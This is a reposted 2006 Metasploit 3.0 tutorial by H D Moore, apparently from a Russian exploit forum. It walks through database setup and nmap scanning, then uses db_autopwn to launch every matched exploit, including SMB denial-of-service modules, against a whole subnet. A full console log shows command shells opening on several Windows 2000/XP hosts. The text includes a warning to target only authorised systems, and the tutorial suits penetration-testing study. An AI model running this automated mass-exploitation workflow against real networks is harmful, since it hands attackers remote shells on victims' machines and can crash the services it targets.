Exploit Metasploit 3.0 Automated Exploitation

Exploiter · 21 Дек 2022

Код:

[ Metasploit 3.0 Automated Exploitation ]
    H D Moore <hdm[at]metasploit.com>

Original version:
http://metasploit.blogspot.com/2006/09/metasploit-30-automated-exploitation.html  

A recurring theme in my presentations about Metasploit 3.0 is the need for 
exploit automation. As of tonight, we finally have enough code completed 
to give a quick demonstration :-)

Metasploit 3 uses the ActiveRecord module (part of RoR) to provide an 
object-oriented interface to an arbitrary database service. Database 
support is enabled by installing RubyGems, ActiveRecord ("gem install 
activerecord"), and a database-specific driver ("gem install [ postgresql 
| sqlite3 | mysql | etc ]"). Once these components have been installed, 
you will need to load the appropriate plugin from the msfconsole 
interface for the database that you want to use. The completed plugins 
include db_postgres, db_sqlite3, and db_sqlite2.

For this example, we will use the PostgreSQL database server on a Gentoo 
Linux system. While the SQLite database support is functional, 
performance problems will prevent it from being useful for performing 
large-scale exploit automation.

You will need a recent version of Ruby (1.8.4+ works nicely), a recent 
version of PostgreSQL, and a Subversion client for downloading the 
Metasploit source code. Once these are in place, you need to verify that 
RubyGems is also installed. If the gem command is not in your path, you 
will need to install RubyGems. On Gentoo, the command emerge rubygems 
will build and install this package. Once RubyGems is installed, you need 
to use the gem command to install ActiveRecord and the PostgreSQL driver 
for Ruby. This can be accomplished with the commands gem install 
activerecord and gem install postgres. To verify your installation, run 
the following command, which should produce no output or errors: ruby -e 
'require "rubygems"; require_gem "postgres";'

Once the prerequisites are in place, you need to create a PostgreSQL 
instance. If you already have a PostgreSQL server running, you can skip 
this step. To create a new database instance, run the following commands:
$ initdb ~/metasploitdb
$ pg_ctl -D ~/metasploitdb start

Finally, you need to grab the latest copy of the Metasploit Framework 
source from the public Subversion tree:
$ svn checkout http://metasploit.com/svn/framework3/trunk/ framework3

To obtain the latest updates in the future, just change into the 
framework3 directory and execute svn update.

Change into the framework3 directory and execute ./msfconsole. You may see 
a few warning messages about broken modules that you can safely ignore, 
but eventually you should be looking at a msf> prompt. Load the 
PostgreSQL driver plugin using the following command:
msf > load db_postgres

Once the plugin loads, type the help command and look at the new options 
listed under the Postgres Database section. Since we do not have an 
existing database, we want to use the db_create command. If you created 
the PostgreSQL instance using the commands above, this should result in 
various NOTICE and ERROR messages as it loads the schema into the default 
database name (metasploit3). If you are using an existing PostgreSQL 
instance, you will need to pass the appropriate parameters to the 
db_create command (see the help output for more information).

Now that the console is connected to a new database instance, a new set of 
console commands become available. These are listed in the help output 
under the Database Backend section. To verify that the database 
connection is valid, execute the db_hosts command. If everything worked, 
there should be no results and no errors listed. If you receive a error 
message and a backtrace, use the db_disconnect command and try executing 
db_create again with different parameters.

The console is connected to the database, the schema is in place, you are 
now ready to import vulnerability data. The current version of the 
framework supports Nessus NBE output files, Nmap XML output files, and a 
wrapper command (db_nmap) that will launch the nmap port scanner and 
record the results into the attached database.

Before you start loading data, take a quick look at the db_autopwn 
command. If you run this command without any parameters, it should result 
in a blob of text like the following:

msf > db_autopwn
[*] Usage: db_autopwn [options]
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port
-h Display this help text

The db_autopwn command is where the exploitation magic happens. This 
command will scan through the database tables and create a list of 
modules that match up to specific vulnerabilities. This matching process 
can happen in two different ways. The first method involves analyzing the 
list of vulnerability references for every exploit and matching them up 
with the references in every imported vulnerability record. This 
cross-referencing method is fairly accurate and depends on standard 
identifiers, such as OSVDB, Bugtraq, and CVE to match exploits with their 
targets. The second method uses the default port associated with each 
exploit module to locate targets running the same service. While this 
will work in most cases, it can cause a fair amount of collateral damage 
and is likely to miss vulnerabile services running on non-default ports.

At this point, you have a few options. You can either import an existing 
Nessus NBE file using the db_import_nessus_nbe command, import an 
existing Nmap XML output file using the db_import_nmap_xml command, or 
use the db_nmap command to populate the database. The benefit of using a 
Nessus NBE file is that it provides data for the cross-referencing mode 
(-x) of db_autopwn. The benefit of using Nmap data is that you can 
quickly attack a large group of systems without having to run a complete 
vulnerability scan, but you will miss vulnerabilities that are not on the 
default port of the associated Metasploit module.

Please keep in mind is that the db_autopwn command will treat ALL of the 
records in the database as potential targets. Future versions of the 
framework will include the ability to limit the targets to a specific set 
of the entire database. Until this change occurs, be really careful about 
what data you feed to the framework.Do NOT import anything into the 
database that you are not allowed to exploit.

For the first attempt, try using the db_nmap command to identify all 
Windows 2000 and Windows XP systems on the local network, that expose the 
SMB service.
msf > db_nmap -p 445 [target]

Replace the [target] string with the network block of your local subnet or 
the IP address of a specific target system that you want to test. This 
command will use the Nmap port scanner to find systems with port 445 
exposed. Once this command completes, use the db_services command to view 
the results. If not hosts were found with port 445 open, no results will 
be displayed by the db_services command.

Assuming that you found at least one system with port 445 open, its time 
to run the db_autopwn command and see what modules it will launch. 
Execute the following command from the console prompt:
msf > db_autopwn -p -t

The -t flag tells the command to display all the match results and the -p 
flag indicates that port-based matching should be used to locate 
potential targets. This command should show a handful of exploits and one 
or two auxiliary modules for every system that was found with port 445 
open. Don't worry about the auxiliary modules for now, as they are 
disabled by default and need to be manually enabled. This is your last 
chance to verify that every host in the target list is valid and that 
exploiting (or crashing) these systems won't result in your incarceration 
or lack of employment.

Time for the fun part! Execute the db_autopwn command again, this time 
adding the -e flag. This will result in every one of those modules being 
launched against their specified target. The default payload is a generic 
bind shell, using a randomized port number for each attempt. Wait for 
this command to complete and then execute the sessions -l command to view 
the results. If any of those target systems were vulnerable, you should 
see at least one command shell. To interact with these shells, use the 
sessions -i [ID]. To detach from a shell, use control+Z, and to kill a 
shell, use control+C.

Thats it for the basics. To expand the scope of the test, widen the port 
range for the db_nmap command or import a Nessus NBE file. If the command 
finishes, but exploits are still running, you can use the jobs command to 
kill off any stragglers.

The log below is a result of my own testing against a local network full 
of vulnerable virtual machines.

Enjoy!

-HD


$ ./msfconsole

=[ msf v3.0-beta-2-svn
+ -- --=[ 102 exploits - 93 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 13 aux

msf > load db_postgres
[*] Successfully loaded plugin: db_postgres

msf > db_create
dropdb: database removal failed: ERROR: database "metasploit3" does not 
exist
CREATE DATABASE
ERROR: table "hosts" does not exist
[ snip ]

msf > db_nmap -p 445 192.168.0.0/24

Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at 2006-09-17 22:49 
CDT

Interesting ports on destructo (192.168.0.2):
PORT STATE SERVICE
445/tcp open microsoft-ds

Interesting ports on WIN2000DB.lan (192.168.0.106):
PORT STATE SERVICE
445/tcp open microsoft-ds

Interesting ports on WINXPSP0.lan (192.168.0.108):
PORT STATE SERVICE
445/tcp open microsoft-ds

Interesting ports on WIN2000SP4.lan (192.168.0.139):
PORT STATE SERVICE
445/tcp open microsoft-ds


Nmap finished: 256 IP addresses (8 hosts up) scanned in 12.493 seconds
msf > db_services
[*] Service: host=192.168.0.2 port=445 proto=tcp state=up 
name=microsoft-ds
[*] Service: host=192.168.0.106 port=445 proto=tcp state=up 
name=microsoft-ds
[*] Service: host=192.168.0.108 port=445 proto=tcp state=up 
name=microsoft-ds
[*] Service: host=192.168.0.139 port=445 proto=tcp state=up 
name=microsoft-ds

msf > db_autopwn -p -t -e
[*] Analysis completed in 0.208992004394531 seconds (0 vulns / 0 refs)
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against 
192.168.0.106:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 
192.168.0.108:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 
192.168.0.2:445...
[ snip ]
[*] Calling the vulnerable function...
[*] Calling the vulnerable function...
[*] Trying to exploit Windows 2000 LAN Manager
[*] Bound to 
6bffd098-a112-3610-9833-46c3f87e345a:1.0@ncacn_np:192.168.0.139
[\BROWSER] ...
[*] Building the stub data...
[*] Unexpected DCERPC fault 0x000006f7
[*] Calling the vulnerable function...
[*] Command shell session 4 opened (192.168.0.145:60778 -> 
192.168.0.139:26188)
[*] Unexpected DCERPC fault 0x000006f7
[*] Calling the vulnerable function...
[*] Command shell session 5 opened (192.168.0.145:47380 -> 
192.168.0.106:27700)

msf > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.0.145:46858 -> 192.168.0.139:15441
2 Command shell 192.168.0.145:42700 -> 192.168.0.108:28199
3 Command shell 192.168.0.145:40966 -> 192.168.0.106:27915
4 Command shell 192.168.0.145:60778 -> 192.168.0.139:26188
5 Command shell 192.168.0.145:47380 -> 192.168.0.106:27700

msf > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> 

# milw0rm.com [2006-09-18]

Поиск

Exploit Metasploit 3.0 Automated Exploitation

Exploiter

Похожие темы